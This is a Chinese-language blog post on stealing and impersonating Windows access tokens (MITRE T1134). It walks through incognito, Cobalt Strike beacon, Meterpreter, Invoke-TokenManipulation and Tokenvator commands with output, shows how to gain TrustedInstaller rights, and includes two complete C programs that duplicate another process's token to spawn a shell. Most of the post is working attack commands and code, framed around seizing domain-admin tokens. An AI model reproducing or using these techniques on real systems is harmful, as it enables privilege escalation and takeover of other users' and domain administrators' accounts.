Windows访问令牌模拟窃取以及利用(T1134)

 

Token简介

 
Windows下有两种类型的Token
 

Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹

 
两种token只在系统重启后清除,具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效
 

 

使用incognito

 
使用 incognito.exe list_tokens -u 可以查看到用户的token(管理员权限)
 

 
刚才 saber 用户是我刚才注销的用户,但是因为未关机所以token保留了下来
 
利用查询到的 token 执行命令
 

incognito.exe execute -c "MIKASA8A63\mikasa" calc.exe

 

CobaltStrike中使用

 
在未提权的情况下,当前用户肯定是只能看到当前用户自己和比自己权限低的所有访问令牌(所以窃取令牌的前提就是提权)
 

 
提升至管理员后
 

 
一般在内网中我们目标token是域管理员进程的,但是这里没域环境,我先拿 mikasa 这个用户测试
 
此时我已经提权为 System
 

 

steal_token 17084  //窃取 mikasa用户权限的进程的 token(steal_token pid)


[*] Tasked beacon to steal token from PID 17084
[+] host called home, sent: 12 bytes
[+] Impersonated MIKASA8A63\mikasa

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are MIKASA8A63\mikasa


//此时已经窃取成功

//使用 rev2self 命令撤回令牌

beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes

 
假设这个 mikasa 是域管理员用户的话,那我们就可以直接访问域控了
 

使用meterpreter

 
与CS大致是一样的
 

load incognito //载入 incognito
list_tokens -u
getuid  //查看当前 token
impersonate_token "NT AUTHORITY\\SYSTEM" //token窃取
steal_token pid //从进程中窃取
rev2self or drop_token //返回之前的token

 

使用 Invoke-TokenManipulation.ps1

 

Import-Module .\Invoke-TokenManipulation.ps1 //导入
Invoke-TokenManipulation -Enumerrate //枚举Token

Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" //以System启动 cmd.exe

Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 //复制进程Token

Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 //复制线程token

 

 

 

如何获取TrustedInstaller权限(可修改系统文件的权限)

 
其实大部分还是窃取 token
 
首先启动 TrustedInstaller 服务,然后获取token就行了
 
cs中的操作(管理员权限)
 

shell sc.exe start TrustedInstaller //启动服务,可看到启动的进程pid
若是服务已经启动使用
shell powershell.exe Get-Process -name TrustedInstaller*  //也可查询进程id

如何判断获得TrustedInstaller
1.向特殊文件写文件
shell echo 1 > C:\windows\servicing\1.txt
shell type C:\windows\servicing\1.txt
2.shell whoami /groups | findstr TrustedInstaller

 
使用 Tokenvator.exe
 
首先在本地打开一个管理员的cmd 用于先获取 System 权限
 

 
我通过 pid 3740的这个进程获得一个 System的cmd
 

.\Tokenvator4.5.exe Steal_Token 3740 "cmd.exe"

 

 

sc.exe start TrustedInstaller //启动服务获得进程 pid 
.\Tokenvator4.5.exe Steal_Token pid "cmd.exe" //根据刚获得的进程pid获得TrustedInstaller权限

 

 

 

令牌模拟的流程

 
参考冷逸师傅
 
https://lengjibo.github.io/token/
 

OpenProcess() -> OpenProcessToken() -> DuplicateTokenEx() -> CreateProcessWithTokenW()

 

#include <iostream>
#include<stdio.h>
#include<Windows.h>
#include<stdlib.h>
int main(int argc, char * argv[])
{
    if (argc < 2) {
        printf("Usage:  xxx.exe pid");
        exit(0);
    }
    wchar_t cmdline[] = TEXT("C:\\Windows\\System32\\nslookup.exe");
    HANDLE Process_handle;
    HANDLE Token_handle;
    HANDLE Duplicate_handle;
    STARTUPINFO startupINfo;
    PROCESS_INFORMATION process_informatiOn;
    ZeroMemory(&startupINfo,sizeof(STARTUPINFO));
    ZeroMemory(&process_informatiOn,sizeof(PROCESS_INFORMATION));
    startupINfo.cb = sizeof(STARTUPINFO);
    DWORD ProcessID = atoi(argv[1]);
    Process_handle = OpenProcess(PROCESS_ALL_ACCESS,true,ProcessID);//打开进程获取句柄
    if (Process_handle != NULL) {
        printf("Open Process Sucess\n");
    }
    else {
        printf("Open Process Faild\n"); 
        exit(0);
    }
    if (OpenProcessToken(Process_handle, TOKEN_ALL_ACCESS, &Token_handle)) {
        printf("Get Process Token Handle Sucess\n");
    }
    else {
        printf("Get Process Token Handle Faild\n"); 
        exit(0);
    }
    if (DuplicateTokenEx(Token_handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &Duplicate_handle)) {
        printf("Duplocate Token Handle success\n");
    }
    else
    {
        printf("Duplocate Token Handle Faild\n");
        exit(0);
    }
    if (CreateProcessWithTokenW(Duplicate_handle, LOGON_WITH_PROFILE, NULL, cmdline, 0, NULL, NULL, &startupINfo, &process_informatiOn)) {
        printf("CreateProcess Token Handle success\n");
    }
    else
    {
        printf("CreateProcess Token Handle faild\n");
        exit(0);
    }

    return 0;
}

 
测试一下,这里面我根据进程的PID 拿到 对应的Token,然后根据这个Token启动一个 nslookup.exe
 

 

 
起一个CMD试一试
 

 
上面的我测试了一下,不能够获得 System 的shell,因此这里面我贴上lengyi师傅的代码
 

#include <windows.h>
#include <iostream>
#include <Lmcons.h>

BOOL SetPrivilege(
    HANDLE hToken,         
    LPCTSTR lpszPrivilege, 
    BOOL bEnablePrivilege  
)
{
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!LookupPrivilegeValue(
        NULL,          
        lpszPrivilege,   
        &luid))       
    {
        printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;



    if (!AdjustTokenPrivileges(
        hToken,
        FALSE,
        &tp,
        sizeof(TOKEN_PRIVILEGES),
        (PTOKEN_PRIVILEGES)NULL,
        (PDWORD)NULL))
    {
        printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
        return FALSE;
    }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

    {
        printf("[-] The token does not have the specified privilege. \n");
        return FALSE;
    }

    return TRUE;
}

std::string get_username()
{
    TCHAR username[UNLEN + 1];
    DWORD username_len = UNLEN + 1;
    GetUserName(username, &username_len);
    std::wstring username_w(username);
    std::string username_s(username_w.begin(), username_w.end());
    return username_s;
}

int main(int argc, char** argv) {
    
    if (argc <= 1) {
        printf("USAGE: TokenSteal.exe Process PID");
        return -1;
    }
    printf("Primary Access Token Manipulation by lengyi \n\n");
    printf("[+] Current user is: %s\n", (get_username()).c_str());

    
    char* pid_c = argv[1];
    DWORD PID_TO_IMPERSONATE = atoi(pid_c);

    
    HANDLE tokenHandle = NULL;
    HANDLE duplicateTokenHandle = NULL;
    STARTUPINFO startupInfo;
    PROCESS_INFORMATION processInformation;
    ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
    ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
    startupInfo.cb = sizeof(STARTUPINFO);

    
    HANDLE currentTokenHandle = NULL;
    BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
    if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
    {
        printf("[+] SeDebugPrivilege enabled!\n");
    }

    
    HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
    if (GetLastError() == NULL)
        printf("[+] OpenProcess() success!\n");
    else
    {
        HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
        if (GetLastError() == NULL) {
            printf("[+] OpenProcess() success!\n");
        }
        else
        {
            printf("[-] OpenProcess() Return Code: %i\n", processHandle);
            printf("[-] OpenProcess() Error: %i\n", GetLastError());
        }
    }


    BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
    if (GetLastError() == NULL)
        printf("[+] OpenProcessToken() success!\n");
    else
    {
        printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
        printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
    }


    BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
    if (GetLastError() == NULL)
    {
        printf("[+] ImpersonatedLoggedOnUser() success!\n");
        printf("[+] Current user is: %s\n", (get_username()).c_str());
        printf("[+] Reverting thread to original user context\n");
        RevertToSelf();
    }
    else
    {
        printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
        printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
    }

    BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
    if (GetLastError() == NULL)
        printf("[+] DuplicateTokenEx() success!\n");
    else
    {
        printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
        printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
    }

    
    BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
    if (GetLastError() == NULL)
        printf("[+] Process spawned!\n");
    else
    {
        printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
        printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
    }

    return 0;
}

 
仔细对照了一下发现可能是 未 对当前进程做权限提升(搞不懂0.0)
 

参考

 
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/

https://lengjibo.github.io/token/

http://t3ngyu.leanote.com/post/Windows-Access

posted @ 2020-10-19 19:26  Zahad003  阅读(738)  评论(1编辑  收藏  举报